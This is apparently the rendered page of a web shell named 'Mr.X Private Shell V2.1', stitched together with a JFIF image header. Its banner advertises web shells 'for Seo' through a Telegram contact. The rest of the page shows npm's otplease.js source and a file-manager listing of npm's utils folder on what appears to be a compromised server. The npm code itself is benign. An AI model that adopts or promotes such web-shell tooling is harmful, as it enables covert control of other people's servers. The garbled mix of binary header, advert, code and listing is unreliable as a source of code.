����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
const log = require('./log-shim')
async function otplease (npm, opts, fn) {
try {
return await fn(opts)
} catch (err) {
if (!process.stdin.isTTY || !process.stdout.isTTY) {
throw err
}
if (isWebOTP(err)) {
log.disableProgress()
const webAuth = require('./web-auth')
const openUrlPrompt = require('./open-url-prompt')
const openerPromise = (url, emitter) =>
openUrlPrompt(
npm,
url,
'Authenticate your account at',
'Press ENTER to open in the browser...',
emitter
)
const otp = await webAuth(openerPromise, err.body.authUrl, err.body.doneUrl, opts)
return await fn({ ...opts, otp })
}
if (isClassicOTP(err)) {
const readUserInfo = require('./read-user-info.js')
const otp = await readUserInfo.otp('This operation requires a one-time password.\nEnter OTP:')
return await fn({ ...opts, otp })
}
throw err
}
}
function isWebOTP (err) {
if (err.code === 'EOTP' && err.body) {
return err.body.authUrl && err.body.doneUrl
}
return false
}
function isClassicOTP (err) {
return err.code === 'EOTP' || (err.code === 'E401' && /one-time pass/.test(err.body))
}
module.exports = otplease
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| completion | Folder | 0755 |
|
|
| config | Folder | 0755 |
|
|
| ansi-trim.js | File | 173 B | 0644 |
|
| audit-error.js | File | 1.02 KB | 0644 |
|
| auth.js | File | 2.8 KB | 0644 |
|
| cmd-list.js | File | 2.16 KB | 0644 |
|
| completion.fish | File | 1.56 KB | 0644 |
|
| completion.sh | File | 1.85 KB | 0755 |
|
| did-you-mean.js | File | 1.46 KB | 0644 |
|
| display.js | File | 3.43 KB | 0644 |
|
| error-message.js | File | 13.53 KB | 0644 |
|
| exit-handler.js | File | 6.74 KB | 0644 |
|
| explain-dep.js | File | 3.5 KB | 0644 |
|
| explain-eresolve.js | File | 2.55 KB | 0644 |
|
| format-bytes.js | File | 629 B | 0644 |
|
| format-search-stream.js | File | 3.93 KB | 0644 |
|
| get-identity.js | File | 802 B | 0644 |
|
| is-windows.js | File | 233 B | 0644 |
|
| log-file.js | File | 7.03 KB | 0644 |
|
| log-shim.js | File | 1.68 KB | 0644 |
|
| npm-usage.js | File | 2.04 KB | 0644 |
|
| open-url-prompt.js | File | 1.44 KB | 0644 |
|
| open-url.js | File | 1.09 KB | 0644 |
|
| otplease.js | File | 1.23 KB | 0644 |
|
| ping.js | File | 252 B | 0644 |
|
| pulse-till-done.js | File | 412 B | 0644 |
|
| queryable.js | File | 9.56 KB | 0644 |
|
| read-user-info.js | File | 2 KB | 0644 |
|
| reify-finish.js | File | 876 B | 0644 |
|
| reify-output.js | File | 4.97 KB | 0644 |
|
| replace-info.js | File | 807 B | 0644 |
|
| tar.js | File | 3.9 KB | 0644 |
|
| timers.js | File | 2.73 KB | 0644 |
|
| update-notifier.js | File | 4.19 KB | 0644 |
|
| validate-lockfile.js | File | 1023 B | 0644 |
|
| web-auth.js | File | 558 B | 0644 |
|